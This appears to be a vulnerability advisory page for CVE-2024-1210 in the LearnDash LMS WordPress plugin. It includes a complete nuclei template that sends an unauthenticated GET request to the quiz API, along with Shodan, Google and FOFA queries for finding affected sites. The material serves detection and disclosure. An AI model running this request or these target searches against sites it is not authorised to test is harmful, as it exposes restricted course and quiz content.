LearnDash LMS < 4.10.2 - Sensitive Information Exposure

mediumseverity

5.3CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via API. This makes it possible for unauthenticated attackers to obtain access to quizzes.

Impact

Unauthenticated attackers can access the LearnDash API to obtain sensitive quiz materials, questions, and course content that should be restricted to enrolled learners.

Fix

Fixed in 4.10.2

How to confirm it

Send: GET {{BaseURL}}/wp-json/ldlms/v1/sfwd-quiz
Positive when: contains "\"id\":" and "\"quiz_materials\":" and "quizzes" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-1210 -u <target>

The full check

id: CVE-2024-1210

info:
  name: LearnDash LMS < 4.10.2 - Sensitive Information Exposure
  author: ritikchaddha
  severity: medium
  description: |
    The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via API. This makes it possible for unauthenticated attackers to obtain access to quizzes.
  impact: |
    Unauthenticated attackers can access the LearnDash API to obtain sensitive quiz materials, questions, and course content that should be restricted to enrolled learners.
  remediation: Fixed in 4.10.2
  reference:
    - https://wpscan.com/vulnerability/f4b12179-3112-465a-97e1-314721f7fe3d/
    - https://github.com/karlemilnikka/CVE-2024-1208-and-CVE-2024-1210
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1210
    - https://www.learndash.com/release-notes/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/61ca5ab6-5fe9-4313-9b0d-8736663d0e89?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-1210
    epss-score: 0.02027
    epss-percentile: 0.81184
    cpe: cpe:2.3:a:learndash:learndash:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: learndash
    product: learndash
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sfwd-lms"
    google-query: inurl:"/wp-content/plugins/sfwd-lms"
    shodan-query: http.html:/wp-content/plugins/sfwd-lms
    fofa-query: body=/wp-content/plugins/sfwd-lms
  tags: wpscan,cve,cve2024,wp,wp-plugin,wordpress,exposure,learndash,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ldlms/v1/sfwd-quiz"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"quiz_materials":'
          - 'quizzes'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

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